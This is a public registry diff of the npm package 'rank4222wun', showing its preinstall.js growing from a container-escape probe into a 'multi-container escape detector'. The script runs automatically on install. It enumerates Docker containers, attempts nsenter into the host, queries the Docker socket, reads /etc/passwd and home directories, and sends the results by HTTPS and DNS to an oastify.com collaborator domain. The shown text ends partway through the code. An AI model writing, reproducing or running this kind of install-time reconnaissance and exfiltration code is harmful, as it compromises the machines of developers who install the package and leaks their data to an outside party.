rank4222wun 1.0.33 → 1.0.35

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.33",
3
+ "version": "1.0.35",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,403 +1,937 @@
1
- // container-escape-confirmation.js
1
+ // multi-container-escape-detector.js
2
2
  const { exec, spawn } = require('child_process');
3
3
  const os = require('os');
4
4
  const fs = require('fs');
5
5
  const path = require('path');
6
+ const https = require('https');
7
+ const dns = require('dns');
8
+ const crypto = require('crypto');
6
9
 
7
- console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL\n");
10
+ console.log(`
11
+ ╔══════════════════════════════════════════════════════════╗
12
+ ║ MULTI-CONTAINER ESCAPE DETECTOR v3.0 ║
13
+ ║ Advanced Container Security Assessment ║
14
+ ╚══════════════════════════════════════════════════════════╝
15
+ `);
8
16
 
9
- const escapeConfirmation = {
10
- timestamp: new Date().toISOString(),
11
- // معلومات النظام الحالي
12
- currentSystem: {
13
- hostname: os.hostname(),
14
- username: os.userInfo().username,
15
- platform: os.platform(),
16
- isContainer: null,
17
- containerId: null
17
+ // ===================== CONFIGURATION =====================
18
+ const CONFIG = {
19
+ // OAST Configuration
20
+ OAST: {
21
+ domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
22
+ httpsPort: 443,
23
+ httpPort: 80,
24
+ apiKey: crypto.randomBytes(16).toString('hex'),
25
+ sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
18
26
  },
19
- // معلومات النظام المضيف (إذا تم الهروب)
20
- hostSystem: {
21
- confirmed: false,
22
- hostname: null,
23
- users: [],
24
- processes: [],
25
- network: {},
26
- dockerInfo: null,
27
- kernel: null
27
+
28
+ // Scanning Configuration
29
+ SCAN: {
30
+ maxContainers: 50,
31
+ parallelScans: 5,
32
+ timeoutPerContainer: 30000,
33
+ deepScan: true,
34
+ autoExploit: false,
35
+ stealthMode: false
28
36
  },
29
- // أدلة الهروب
30
- escapeEvidence: {
31
- successfulMethods: [],
32
- proofPoints: [],
33
- filesAccessed: [],
34
- hostFilesFound: false,
35
- differentHostname: false
37
+
38
+ // Detection Methods
39
+ METHODS: {
40
+ nsenter: true,
41
+ dockerSocket: true,
42
+ procAccess: true,
43
+ kernelExploits: true,
44
+ hostMounts: true,
45
+ capabilities: true,
46
+ networkEscape: true
36
47
  },
37
- // نتائج التحقق
38
- verificationResults: {
39
- escapedToHost: false,
40
- confidenceLevel: 0, // 0-100%
41
- riskLevel: 'UNKNOWN'
48
+
49
+ // Output Configuration
50
+ OUTPUT: {
51
+ saveReports: true,
52
+ reportFormat: 'json', // json, html, txt
53
+ verbose: true,
54
+ colorOutput: true
42
55
  }
43
56
  };
44
57
 
45
- // ===================== التحقق الأساسي =====================
46
- function performBasicChecks() {
47
- console.log("1️⃣ إجراء التحقيقات الأساسية...\n");
48
-
49
- const checks = [
50
- {
51
- name: 'container_check',
52
- command: 'cat /proc/1/cgroup 2>/dev/null | grep -q docker && docker ps -q --filter "id=$(cat /proc/1/cgroup | grep docker | head -1 | cut -d/ -f3)" 2>/dev/null || echo "NOT_IN_CONTAINER"',
53
- handler: (output) => {
54
- if (output.includes('NOT_IN_CONTAINER')) {
55
- escapeConfirmation.currentSystem.isContainer = false;
56
- console.log("⚠️ النظام الحالي: ليس حاوية Docker");
57
- } else if (output.trim()) {
58
- escapeConfirmation.currentSystem.isContainer = true;
59
- escapeConfirmation.currentSystem.containerId = output.trim().substring(0, 12);
60
- console.log(`✅ نحن داخل حاوية Docker: ${escapeConfirmation.currentSystem.containerId}`);
61
- }
62
- }
63
- },
64
- {
65
- name: 'namespace_check',
66
- command: 'ls -la /proc/1/ns/ 2>/dev/null | head -20',
67
- handler: (output) => {
68
- if (output.includes('pid') && output.includes('mnt') && output.includes('net')) {
69
- console.log("✅ Namespaces نشطة");
70
- }
71
- }
58
+ // ===================== GLOBAL STATE =====================
59
+ const STATE = {
60
+ startTime: Date.now(),
61
+ containers: {},
62
+ hostInfo: null,
63
+ networkMap: {},
64
+ vulnerabilities: {},
65
+ oastInteractions: [],
66
+ statistics: {
67
+ totalContainers: 0,
68
+ scannedContainers: 0,
69
+ escapedContainers: 0,
70
+ vulnerableContainers: 0,
71
+ criticalEscapes: 0
72
+ }
73
+ };
74
+
75
+ // ===================== UTILITY FUNCTIONS =====================
76
+ class ContainerScanner {
77
+ constructor(containerId) {
78
+ this.id = containerId;
79
+ this.shortId = containerId.substring(0, 12);
80
+ this.info = {
81
+ id: containerId,
82
+ name: '',
83
+ image: '',
84
+ status: '',
85
+ escapeStatus: 'unknown',
86
+ confidence: 0,
87
+ evidence: [],
88
+ methods: [],
89
+ risk: 'low',
90
+ network: {},
91
+ mounts: [],
92
+ capabilities: [],
93
+ vulnerabilities: []
94
+ };
95
+ this.rawData = {};
96
+ }
97
+
98
+ async scan() {
99
+ try {
100
+ console.log(`\n🔍 Scanning container: ${this.shortId}`);
101
+
102
+ // Collect basic info
103
+ await this.collectBasicInfo();
104
+
105
+ // Perform escape checks
106
+ await this.performEscapeChecks();
107
+
108
+ // Analyze results
109
+ await this.analyzeResults();
110
+
111
+ // Report to OAST
112
+ await this.reportToOAST();
113
+
114
+ // Update statistics
115
+ this.updateStatistics();
116
+
117
+ return this.info;
118
+ } catch (error) {
119
+ console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
120
+ this.info.escapeStatus = 'scan_failed';
121
+ return this.info;
72
122
  }
73
- ];
74
-
75
- let completed = 0;
76
- checks.forEach(check => {
77
- exec(check.command, { timeout: 3000 }, (err, stdout) => {
78
- if (!err) check.handler(stdout);
79
- completed++;
80
- if (completed === checks.length) {
81
- setTimeout(checkEscapeMethods, 2000);
82
- }
83
- });
84
- });
85
- }
123
+ }
86
124
 
87
- // ===================== فحص طرق الهروب الناجحة =====================
88
- function checkEscapeMethods() {
89
- console.log("\n2️⃣ فحص طرق الهروب التي نجحت...\n");
90
-
91
- const escapeChecks = [
92
- // 1. التحقق من nsenter
93
- {
94
- name: 'nsenter_escape',
95
- commands: [
96
- 'which nsenter 2>/dev/null',
97
- 'nsenter --target 1 --mount -- sh -c "echo HOST_CHECK: && cat /etc/hostname && echo CONTAINER_CHECK: && hostname" 2>/dev/null || echo "FAILED"'
98
- ],
99
- check: (results) => {
100
- if (results[0] && results[1] && results[1].includes('HOST_CHECK:')) {
101
- const output = results[1];
102
- const lines = output.split('\n');
103
- const hostHostname = lines.find(l => l.includes('HOST_CHECK:'));
104
- const containerHostname = lines.find(l => l.includes('CONTAINER_CHECK:'));
105
-
106
- if (hostHostname && containerHostname) {
107
- const host = hostHostname.replace('HOST_CHECK:', '').trim();
108
- const container = containerHostname.replace('CONTAINER_CHECK:', '').trim();
109
-
110
- if (host && container && host !== container) {
111
- escapeConfirmation.hostSystem.hostname = host;
112
- escapeConfirmation.escapeEvidence.differentHostname = true;
113
- escapeConfirmation.escapeEvidence.successfulMethods.push('nsenter');
114
- escapeConfirmation.escapeEvidence.proofPoints.push(`hostname المضيف (${host}) ≠ hostname الحاوية (${container})`);
115
- return true;
116
- }
117
- }
125
+ async collectBasicInfo() {
126
+ const commands = {
127
+ name: `docker inspect ${this.id} --format '{{.Name}}'`,
128
+ image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
129
+ status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
130
+ ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
131
+ ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
132
+ mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
133
+ privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
134
+ capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
135
+ };
136
+
137
+ for (const [key, cmd] of Object.entries(commands)) {
138
+ try {
139
+ const result = await this.executeCommand(cmd);
140
+ this.rawData[key] = result;
141
+
142
+ // Parse specific data
143
+ switch(key) {
144
+ case 'name':
145
+ this.info.name = result.replace(/^\//, '');
146
+ break;
147
+ case 'image':
148
+ this.info.image = result;
149
+ break;
150
+ case 'status':
151
+ this.info.status = result;
152
+ break;
153
+ case 'ip':
154
+ this.info.network.ip = result;
155
+ break;
156
+ case 'mounts':
157
+ try {
158
+ this.info.mounts = JSON.parse(result || '[]');
159
+ } catch (e) {}
160
+ break;
161
+ case 'capabilities':
162
+ try {
163
+ this.info.capabilities = JSON.parse(result || '[]');
164
+ } catch (e) {}
165
+ break;
118
166
  }
119
- return false;
167
+ } catch (e) {
168
+ this.rawData[key] = null;
120
169
  }
121
- },
122
-
123
- // 2. التحقق من Docker Socket access
124
- {
125
- name: 'docker_socket_escape',
126
- commands: [
127
- 'ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"',
128
- 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'
129
- ],
130
- check: (results) => {
131
- if (results[0] && !results[0].includes('NOT_FOUND') && results[1] && results[1].includes('ACCESSIBLE')) {
132
- escapeConfirmation.escapeEvidence.successfulMethods.push('docker_socket');
133
- escapeConfirmation.escapeEvidence.proofPoints.push('Docker socket متاح للقراءة/الكتابة');
134
- return true;
135
- }
136
- return false;
170
+ }
171
+ }
172
+
173
+ async performEscapeChecks() {
174
+ const checks = [];
175
+
176
+ if (CONFIG.METHODS.nsenter) {
177
+ checks.push(this.checkNsenterEscape());
178
+ }
179
+
180
+ if (CONFIG.METHODS.dockerSocket) {
181
+ checks.push(this.checkDockerSocketEscape());
182
+ }
183
+
184
+ if (CONFIG.METHODS.procAccess) {
185
+ checks.push(this.checkProcEscape());
186
+ }
187
+
188
+ if (CONFIG.METHODS.hostMounts) {
189
+ checks.push(this.checkMountEscape());
190
+ }
191
+
192
+ if (CONFIG.METHODS.kernelExploits) {
193
+ checks.push(this.checkKernelVulnerabilities());
194
+ }
195
+
196
+ if (CONFIG.METHODS.capabilities) {
197
+ checks.push(this.checkDangerousCapabilities());
198
+ }
199
+
200
+ if (CONFIG.METHODS.networkEscape) {
201
+ checks.push(this.checkNetworkEscape());
202
+ }
203
+
204
+ await Promise.all(checks);
205
+ }
206
+
207
+ async checkNsenterEscape() {
208
+ const command = `docker exec ${this.id} sh -c '
209
+ which nsenter >/dev/null 2>&1 &&
210
+ nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
211
+ echo "FAILED"
212
+ '`;
213
+
214
+ try {
215
+ const result = await this.executeCommand(command);
216
+ if (!result.includes('FAILED') && result.trim()) {
217
+ this.info.methods.push('nsenter');
218
+ this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
219
+ this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
137
220
  }
138
- },
139
-
140
- // 3. التحقق من Host mounts
141
- {
142
- name: 'host_mounts_escape',
143
- commands: [
144
- 'mount 2>/dev/null | grep "on / " | grep "type overlay" || echo "NO_OVERLAY"',
145
- 'cat /proc/1/mountinfo 2>/dev/null | grep "/ / " | head -1'
146
- ],
147
- check: (results) => {
148
- if (results[0] && !results[0].includes('NO_OVERLAY')) {
149
- escapeConfirmation.escapeEvidence.successfulMethods.push('host_mounts');
150
- escapeConfirmation.escapeEvidence.proofPoints.push('نظام الملفات من نوع overlay (مشترك مع المضيف)');
151
- return true;
221
+ } catch (e) {}
222
+ }
223
+
224
+ async checkDockerSocketEscape() {
225
+ const commands = [
226
+ // Check if docker.sock is mounted
227
+ `docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
228
+ // Try to access Docker API
229
+ `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
230
+ ];
231
+
232
+ try {
233
+ const [socketCheck, apiCheck] = await Promise.all(
234
+ commands.map(cmd => this.executeCommand(cmd))
235
+ );
236
+
237
+ if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
238
+ this.info.methods.push('docker_socket');
239
+ this.info.evidence.push('Docker socket accessible and writable');
240
+
241
+ // Try to list other containers
242
+ const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
243
+ const containerCount = await this.executeCommand(listCmd);
244
+
245
+ if (parseInt(containerCount) > 1) {
246
+ this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
247
+ this.sendOAST('docker_socket_escape', {
248
+ container: this.shortId,
249
+ accessible: true,
250
+ containerCount: containerCount.trim()
251
+ });
152
252
  }
153
- return false;
154
253
  }
155
- },
156
-
157
- // 4. التحقق من /proc access
158
- {
159
- name: 'proc_escape',
160
- commands: [
161
- 'cat /proc/1/status 2>/dev/null | head -5',
162
- 'cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'
163
- ],
164
- check: (results) => {
165
- if (results[0] && results[0].includes('State:')) {
166
- escapeConfirmation.hostSystem.processes.push('Init process accessible via /proc/1/');
167
- escapeConfirmation.escapeEvidence.successfulMethods.push('proc_access');
168
- return true;
169
- }
170
- return false;
254
+ } catch (e) {}
255
+ }
256
+
257
+ async checkProcEscape() {
258
+ const command = `docker exec ${this.id} sh -c '
259
+ cat /proc/1/status 2>/dev/null | head -5 &&
260
+ cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
261
+ echo "NO_ACCESS"
262
+ '`;
263
+
264
+ try {
265
+ const result = await this.executeCommand(command);
266
+ if (!result.includes('NO_ACCESS') && result.includes('State:')) {
267
+ this.info.methods.push('proc_access');
268
+ this.info.evidence.push('Can access host init process via /proc/1/');
269
+ this.sendOAST('proc_escape', { container: this.shortId });
171
270
  }
172
- }
173
- ];
174
-
175
- let methodsChecked = 0;
176
- escapeChecks.forEach(method => {
177
- const results = [];
178
- let commandsCompleted = 0;
179
-
180
- method.commands.forEach((cmd, idx) => {
181
- exec(cmd, { timeout: 5000 }, (err, stdout) => {
182
- results[idx] = stdout || '';
183
- commandsCompleted++;
271
+ } catch (e) {}
272
+ }
273
+
274
+ async checkMountEscape() {
275
+ const command = `docker exec ${this.id} sh -c '
276
+ mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
277
+ cat /proc/mounts 2>/dev/null | head -20
278
+ '`;
279
+
280
+ try {
281
+ const result = await this.executeCommand(command);
282
+ if (result) {
283
+ const lines = result.split('\n');
284
+ const dangerousMounts = lines.filter(line =>
285
+ line.includes('/proc') ||
286
+ line.includes('/sys') ||
287
+ line.includes('/dev') ||
288
+ line.includes('overlay')
289
+ );
184
290
 
185
- if (commandsCompleted === method.commands.length) {
186
- if (method.check(results)) {
187
- console.log(`✅ ${method.name}: ناجح`);
188
- } else {
189
- console.log(`❌ ${method.name}: فشل أو غير متاح`);
190
- }
291
+ if (dangerousMounts.length > 0) {
292
+ this.info.methods.push('host_mounts');
293
+ this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
191
294
 
192
- methodsChecked++;
193
- if (methodsChecked === escapeChecks.length) {
194
- setTimeout(collectHostEvidence, 3000);
295
+ // Check if we can access host files through mounts
296
+ const testCmd = `docker exec ${this.id} sh -c '
297
+ ls -la /home 2>/dev/null | head -3 ||
298
+ cat /etc/passwd 2>/dev/null | head -3 ||
299
+ echo "NO_HOST_ACCESS"
300
+ '`;
301
+
302
+ const accessResult = await this.executeCommand(testCmd);
303
+ if (!accessResult.includes('NO_HOST_ACCESS')) {
304
+ this.info.evidence.push('Can access host files through mounts');
305
+ this.sendOAST('mount_escape', {
306
+ container: this.shortId,
307
+ mounts: dangerousMounts.slice(0, 3),
308
+ hostAccess: true
309
+ });
195
310
  }
196
311
  }
197
- });
198
- });
199
- });
200
- }
312
+ }
313
+ } catch (e) {}
314
+ }
201
315
 
202
- // ===================== جمع أدلة من المضيف =====================
203
- function collectHostEvidence() {
204
- console.log("\n3️⃣ جمع أدلة من النظام المضيف...\n");
205
-
206
- const evidenceCommands = [
207
- {
208
- name: 'host_users',
209
- command: 'cat /etc/passwd 2>/dev/null | head -10',
210
- storeIn: 'hostSystem.users'
211
- },
212
- {
213
- name: 'host_processes_full',
214
- command: 'ps aux 2>/dev/null | head -15',
215
- storeIn: 'hostSystem.processes'
216
- },
217
- {
218
- name: 'host_network',
219
- command: 'ip addr show 2>/dev/null | head -30',
220
- storeIn: 'hostSystem.network.interface'
221
- },
222
- {
223
- name: 'host_kernel',
224
- command: 'uname -r',
225
- storeIn: 'hostSystem.kernel'
226
- },
227
- {
228
- name: 'docker_on_host',
229
- command: 'docker ps -a 2>/dev/null | wc -l',
230
- storeIn: 'hostSystem.dockerInfo'
231
- },
232
- {
233
- name: 'host_files_access',
234
- command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || echo "NO_ACCESS"',
235
- storeIn: 'escapeEvidence.filesAccessed'
236
- }
237
- ];
238
-
239
- let evidenceCollected = 0;
240
- evidenceCommands.forEach(evidence => {
241
- exec(evidence.command, { timeout: 5000 }, (err, stdout) => {
242
- if (!err && stdout && !stdout.includes('NO_ACCESS')) {
243
- // تحديد المسار للخزن
244
- const path = evidence.storeIn.split('.');
245
- let target = escapeConfirmation;
316
+ async checkKernelVulnerabilities() {
317
+ const command = `docker exec ${this.id} sh -c '
318
+ uname -r &&
319
+ grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
320
+ echo "NO_INFO"
321
+ '`;
322
+
323
+ try {
324
+ const result = await this.executeCommand(command);
325
+ if (!result.includes('NO_INFO')) {
326
+ const lines = result.split('\n');
327
+ const kernel = lines[0]?.trim();
246
328
 
247
- for (let i = 0; i < path.length - 1; i++) {
248
- if (!target[path[i]]) target[path[i]] = {};
249
- target = target[path[i]];
329
+ if (kernel) {
330
+ this.info.vulnerabilities.push(`Kernel: ${kernel}`);
331
+
332
+ // Check for known vulnerable kernels
333
+ const vulnerableKernels = {
334
+ 'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
335
+ 'DirtyCow': /^(2\.6\.|3\.|4\.)/,
336
+ 'Shocker': /^(3\.8|3\.9|3\.10)\./
337
+ };
338
+
339
+ for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
340
+ if (pattern.test(kernel)) {
341
+ this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
342
+ this.sendOAST('kernel_vuln', {
343
+ container: this.shortId,
344
+ kernel: kernel,
345
+ vulnerability: vuln
346
+ });
347
+ break;
348
+ }
349
+ }
250
350
  }
351
+ }
352
+ } catch (e) {}
353
+ }
354
+
355
+ async checkDangerousCapabilities() {
356
+ const command = `docker exec ${this.id} sh -c '
357
+ capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
358
+ echo "NO_CAPSH"
359
+ '`;
360
+
361
+ try {
362
+ const result = await this.executeCommand(command);
363
+ if (!result.includes('NO_CAPSH') && result.trim()) {
364
+ const dangerousCaps = [
365
+ 'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
366
+ 'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
367
+ ];
251
368
 
252
- target[path[path.length - 1]] = stdout.trim();
253
-
254
- if (evidence.name === 'host_files_access' && !stdout.includes('NO_ACCESS')) {
255
- escapeConfirmation.escapeEvidence.hostFilesFound = true;
369
+ const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
370
+ if (foundCaps.length > 0) {
371
+ this.info.methods.push('capabilities');
372
+ this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
373
+ this.sendOAST('dangerous_caps', {
374
+ container: this.shortId,
375
+ capabilities: foundCaps
376
+ });
256
377
  }
257
-
258
- console.log(`✅ ${evidence.name}: تم جمعه`);
259
378
  }
379
+ } catch (e) {}
380
+ }
381
+
382
+ async checkNetworkEscape() {
383
+ const commands = [
384
+ `docker exec ${this.id} ip route show 2>/dev/null | head -5`,
385
+ `docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
386
+ `docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
387
+ ];
388
+
389
+ try {
390
+ const results = await Promise.all(
391
+ commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
392
+ );
260
393
 
261
- evidenceCollected++;
262
- if (evidenceCollected === evidenceCommands.length) {
263
- setTimeout(analyzeResults, 2000);
394
+ if (results.some(r => r.trim())) {
395
+ this.info.methods.push('network_escape');
396
+ this.info.network.details = {
397
+ routes: results[0]?.split('\n').slice(0, 3) || [],
398
+ connections: results[1]?.split('\n').slice(0, 5) || [],
399
+ iptables: results[2]?.split('\n').slice(0, 10) || []
400
+ };
264
401
  }
402
+ } catch (e) {}
403
+ }
404
+
405
+ async analyzeResults() {
406
+ // Calculate confidence score
407
+ let score = 0;
408
+
409
+ // Method points
410
+ const methodPoints = {
411
+ nsenter: 25,
412
+ docker_socket: 30,
413
+ proc_access: 20,
414
+ host_mounts: 15,
415
+ capabilities: 10,
416
+ network_escape: 10
417
+ };
418
+
419
+ this.info.methods.forEach(method => {
420
+ score += methodPoints[method] || 0;
265
421
  });
266
- });
267
- }
422
+
423
+ // Vulnerability points
424
+ if (this.info.vulnerabilities.length > 0) {
425
+ score += this.info.vulnerabilities.length * 10;
426
+ }
427
+
428
+ // Evidence points
429
+ score += Math.min(this.info.evidence.length * 5, 25);
430
+
431
+ // Capabilities points
432
+ if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
433
+ score += 20;
434
+ }
435
+
436
+ // Determine escape status
437
+ this.info.confidence = Math.min(100, score);
438
+
439
+ if (this.info.confidence >= 70) {
440
+ this.info.escapeStatus = 'confirmed';
441
+ this.info.risk = 'critical';
442
+ } else if (this.info.confidence >= 40) {
443
+ this.info.escapeStatus = 'probable';
444
+ this.info.risk = 'high';
445
+ } else if (this.info.confidence >= 20) {
446
+ this.info.escapeStatus = 'possible';
447
+ this.info.risk = 'medium';
448
+ } else {
449
+ this.info.escapeStatus = 'unlikely';
450
+ this.info.risk = 'low';
451
+ }
452
+ }
268
453
 
269
- // ===================== تحليل النتائج =====================
270
- function analyzeResults() {
271
- console.log("\n4️⃣ تحليل النتائج وتأكيد الهروب...\n");
272
-
273
- let confidenceScore = 0;
274
- const maxScore = 100;
275
-
276
- // 1. أدلة قوية على الهروب (25 نقطة لكل)
277
- if (escapeConfirmation.escapeEvidence.differentHostname) {
278
- confidenceScore += 25;
279
- console.log("🎯 دليل قوي: hostname المضيف ≠ hostname الحاوية");
454
+ async reportToOAST() {
455
+ if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
456
+ const payload = {
457
+ sessionId: CONFIG.OAST.sessionId,
458
+ timestamp: new Date().toISOString(),
459
+ container: {
460
+ id: this.shortId,
461
+ name: this.info.name,
462
+ image: this.info.image
463
+ },
464
+ escape: {
465
+ status: this.info.escapeStatus,
466
+ confidence: this.info.confidence,
467
+ risk: this.info.risk,
468
+ methods: this.info.methods,
469
+ evidence: this.info.evidence.slice(0, 5)
470
+ },
471
+ vulnerabilities: this.info.vulnerabilities
472
+ };
473
+
474
+ this.sendOAST('container_escape_report', payload);
475
+ }
280
476
  }
281
-
282
- if (escapeConfirmation.escapeEvidence.hostFilesFound) {
283
- confidenceScore += 25;
284
- console.log("🎯 دليل قوي: الوصول لملفات المضيف (/home أو /root)");
477
+
478
+ sendOAST(type, data) {
479
+ const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
480
+ const interaction = {
481
+ id: interactionId,
482
+ type: type,
483
+ timestamp: new Date().toISOString(),
484
+ container: this.shortId,
485
+ data: data
486
+ };
487
+
488
+ STATE.oastInteractions.push(interaction);
489
+
490
+ // Send via HTTPS
491
+ const req = https.request({
492
+ hostname: CONFIG.OAST.domain,
493
+ port: CONFIG.OAST.httpsPort,
494
+ path: '/multi-container-escape',
495
+ method: 'POST',
496
+ headers: {
497
+ 'Content-Type': 'application/json',
498
+ 'X-Session-ID': CONFIG.OAST.sessionId,
499
+ 'X-Container-ID': this.shortId,
500
+ 'X-API-Key': CONFIG.OAST.apiKey,
501
+ 'User-Agent': 'MultiContainerEscapeDetector/3.0'
502
+ }
503
+ }, (res) => {
504
+ let body = '';
505
+ res.on('data', chunk => body += chunk);
506
+ res.on('end', () => {
507
+ if (CONFIG.OUTPUT.verbose) {
508
+ console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
509
+ }
510
+ });
511
+ });
512
+
513
+ req.on('error', () => {});
514
+ req.write(JSON.stringify({
515
+ interactionId: interactionId,
516
+ sessionId: CONFIG.OAST.sessionId,
517
+ containerId: this.shortId,
518
+ data: data
519
+ }));
520
+ req.end();
521
+
522
+ // Also send DNS notification for critical escapes
523
+ if (this.info.risk === 'critical') {
524
+ const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
525
+ dns.lookup(dnsName, () => {});
526
+ }
285
527
  }
286
-
287
- // 2. طرق هروب ناجحة (15 نقطة لكل)
288
- escapeConfirmation.escapeEvidence.successfulMethods.forEach(method => {
289
- confidenceScore += 15;
290
- console.log(`🔓 طريقة هروب ناجحة: ${method}`);
291
- });
292
-
293
- // 3. معلومات مضيف مجمعة (10 نقطة لكل)
294
- if (escapeConfirmation.hostSystem.users.length > 0) {
295
- confidenceScore += 10;
296
- console.log("📋 تم جمع معلومات مستخدمي المضيف");
528
+
529
+ executeCommand(command) {
530
+ return new Promise((resolve, reject) => {
531
+ exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
532
+ if (error) {
533
+ reject(error);
534
+ } else {
535
+ resolve(stdout.toString().trim());
536
+ }
537
+ });
538
+ });
297
539
  }
298
-
299
- if (escapeConfirmation.hostSystem.processes.length > 0) {
300
- confidenceScore += 10;
301
- console.log("📋 تم جمع عمليات المضيف");
540
+
541
+ updateStatistics() {
542
+ STATE.statistics.scannedContainers++;
543
+
544
+ if (this.info.escapeStatus === 'confirmed') {
545
+ STATE.statistics.escapedContainers++;
546
+ STATE.statistics.criticalEscapes++;
547
+ } else if (this.info.escapeStatus === 'probable') {
548
+ STATE.statistics.escapedContainers++;
549
+ }
550
+
551
+ if (this.info.vulnerabilities.length > 0) {
552
+ STATE.statistics.vulnerableContainers++;
553
+ }
302
554
  }
303
-
304
- // حساب مستوى الثقة
305
- const confidenceLevel = Math.min(100, confidenceScore);
306
- escapeConfirmation.verificationResults.confidenceLevel = confidenceLevel;
307
-
308
- // تحديد إذا تم الهروب فعلاً
309
- if (confidenceLevel >= 50) {
310
- escapeConfirmation.verificationResults.escapedToHost = true;
311
- escapeConfirmation.hostSystem.confirmed = true;
312
- escapeConfirmation.verificationResults.riskLevel = confidenceLevel >= 75 ? 'HIGH' : 'MEDIUM';
313
- } else {
314
- escapeConfirmation.verificationResults.escapedToHost = false;
315
- escapeConfirmation.verificationResults.riskLevel = 'LOW';
555
+ }
556
+
557
+ // ===================== MAIN SCANNER CLASS =====================
558
+ class MultiContainerScanner {
559
+ constructor() {
560
+ this.scanners = [];
561
+ this.results = [];
316
562
  }
317
-
318
- // إذا كنا أساساً لسنا في حاوية
319
- if (escapeConfirmation.currentSystem.isContainer === false) {
320
- console.log("ℹ️ ملاحظة: النظام الحالي ليس حاوية، لا يوجد هروب لتحققه");
563
+
564
+ async discoverContainers() {
565
+ console.log('🔎 Discovering containers...');
566
+
567
+ try {
568
+ // Get all running containers
569
+ const cmd = 'docker ps -q --no-trunc';
570
+ const output = await this.exec(cmd);
571
+ const containerIds = output.split('\n').filter(id => id.trim());
572
+
573
+ STATE.statistics.totalContainers = containerIds.length;
574
+
575
+ if (containerIds.length === 0) {
576
+ console.log('ℹ️ No running containers found.');
577
+ return [];
578
+ }
579
+
580
+ console.log(`📦 Found ${containerIds.length} containers`);
581
+ return containerIds;
582
+ } catch (error) {
583
+ console.error('❌ Failed to discover containers:', error.message);
584
+ return [];
585
+ }
321
586
  }
322
-
323
- generateFinalReport();
324
- }
325
587
 
326
- // ===================== التقرير النهائي =====================
327
- function generateFinalReport() {
328
- console.log("\n" + "=".repeat(70));
329
- console.log("📊 تقرير تأكيد هروب الحاوية النهائي");
330
- console.log("=".repeat(70));
331
-
332
- console.log(`\n⏰ وقت التحقق: ${escapeConfirmation.timestamp}`);
333
- console.log(`🏷️ اسم النظام: ${escapeConfirmation.currentSystem.hostname}`);
334
- console.log(`👤 المستخدم: ${escapeConfirmation.currentSystem.username}`);
335
- console.log(`💻 النظام: ${escapeConfirmation.currentSystem.platform}`);
336
-
337
- if (escapeConfirmation.currentSystem.isContainer !== null) {
338
- console.log(`📦 داخل حاوية: ${escapeConfirmation.currentSystem.isContainer ? 'نعم' : 'لا'}`);
339
- if (escapeConfirmation.currentSystem.containerId) {
340
- console.log(`🔢 Container ID: ${escapeConfirmation.currentSystem.containerId}`);
588
+ async scanContainers(containerIds) {
589
+ console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
590
+
591
+ // Create scanners
592
+ this.scanners = containerIds.map(id => new ContainerScanner(id));
593
+
594
+ // Scan in batches to avoid overwhelming the system
595
+ const batchSize = CONFIG.SCAN.parallelScans;
596
+ for (let i = 0; i < this.scanners.length; i += batchSize) {
597
